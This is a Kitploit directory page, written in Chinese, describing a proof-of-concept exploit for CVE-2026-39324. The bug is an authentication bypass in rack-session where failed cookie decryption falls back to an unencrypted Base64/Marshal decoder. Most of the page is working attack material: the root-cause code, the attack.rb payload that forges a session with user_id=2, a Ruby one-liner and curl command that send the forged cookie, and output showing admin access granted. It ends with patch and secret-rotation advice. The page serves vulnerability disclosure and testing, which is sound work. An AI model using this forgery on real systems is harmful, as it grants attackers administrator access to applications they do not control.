Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39324 — 针对 Rack::Cookie 认证绕过(CVE-2026-39324)的概念验证漏洞利用,演示通过回退编码器伪造会话以获取管理员访问权限。 | Kitploit
工具/GitHubGitHub/sm1ee/cve-2026-39324
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubsm1ee/cve-2026-39324

CVE-2026-39324

针对 Rack::Cookie 认证绕过(CVE-2026-39324)的概念验证漏洞利用,演示通过回退编码器伪造会话以获取管理员访问权限。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39324 漏洞利用 PoC

Rack::Session::Cookie 解密失败时回退接受未加密 Cookie

安全公告GHSA-33qg-7wpp-89cq
软件包rack-session (RubyGems)
受影响版本<= 2.1.1
已修复版本2.1.2

概述

使用 secrets: 配置的 Rack::Session::Cookie 应仅接受加密 Cookie。但当解密失败时,它不会拒绝该 Cookie,而是回退到默认的 Base64::Marshal 编码器。

攻击者可以发送一个纯文本的 Base64(Marshal.dump(...)) Cookie,服务器会在不知道任何密钥的情况下将其作为有效的会话数据接受。

影响条件

  • rack-session <= 2.1.1
  • 使用 secrets: 选项的 Rack::Session::Cookie
  • 应用使用会话值(user_id、role 等)进行授权
  • 攻击者可以向目标发送 HTTP 请求

不受影响:

  • secret:(单数)— 使用 HMAC 签名,走不同的代码路径。只有 secrets:(复数,加密 Cookie 模式)存在漏洞。
  • Rails — 使用 ActionDispatch::Session::CookieStore,是独立的实现。

根本原因

root@kitploit:~
# lib/rack/session/cookie.rb

# 无论 secrets: 配置如何,始终会创建回退编码器
@coder = options[:coder] ||= Base64::Marshal.new

# 尝试解密 — 对于未加密的 Cookie,所有尝试都会失败
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# 漏洞:不拒绝,而是落入未加密编码器
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

在 secrets: 路径上,解密失败应该是终止性的。但实际却将 Cookie 传递给 coder.decode(),因此纯文本 Cookie 会被加载为会话数据。

复现

root@kitploit:~
poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    Rack 应用,使用 secrets: 配置
├── verify.rb    基线检查(正常行为)
└── attack.rb    会话伪造(漏洞利用)

运行

root@kitploit:~
cd poc
bundle install

ruby server.rb &      # 启动存在漏洞的服务器
ruby verify.rb        # 确认正常行为
ruby attack.rb        # 伪造 Cookie → 管理员访问

server.rb

使用 secrets: 进行加密 Cookie 的 Rack 应用。两个用户:id=1(普通用户),id=2(管理员)。会话中仅存储 user_id;管理员检查是服务端查询。

verify.rb

确认服务器正常工作:

请求预期结果
GET /admin(无 Cookie)403
POST /login?id=1200,加密 Cookie
GET /admin(用户 id=1 的 Cookie)403

attack.rb

在不知道任何密钥的情况下伪造会话 Cookie。

1) 伪造 Cookie:

root@kitploit:~
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

2) 服务器收到伪造 Cookie 时的处理流程:

root@kitploit:~
encryptor #1 decrypt → HMAC 无效
encryptor #2 decrypt → HMAC 无效
回退 → coder.decode() → Marshal.load → 攻击者会话被接受
→ session["user_id"] = 2 → 解析为管理员用户 → 200 OK

输出

root@kitploit:~
$ ruby attack.rb
--- CVE-2026-39324: 会话伪造 ---
目标:  http://127.0.0.1:9416
载荷: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

会话 Cookie 加密器错误: HMAC 无效   ← 加密器 #1 失败
会话 Cookie 加密器错误: HMAC 无效   ← 加密器 #2 失败,但 Cookie 未被拒绝
状态: 200
响应体:   {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] 存在漏洞 — 伪造的 user_id=2 被接受,获得管理员访问权限。

两次 HMAC 检查均失败,但 Cookie 未被拒绝 — 回退编码器接受了它,攻击者获得了管理员权限。

curl

root@kitploit:~
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'

修复建议

  1. 将 rack-session 更新至 >= 2.1.2
  2. 更新后轮换会话密钥 — 在修补之前,伪造的会话可能已被接受并重新签发
下载工具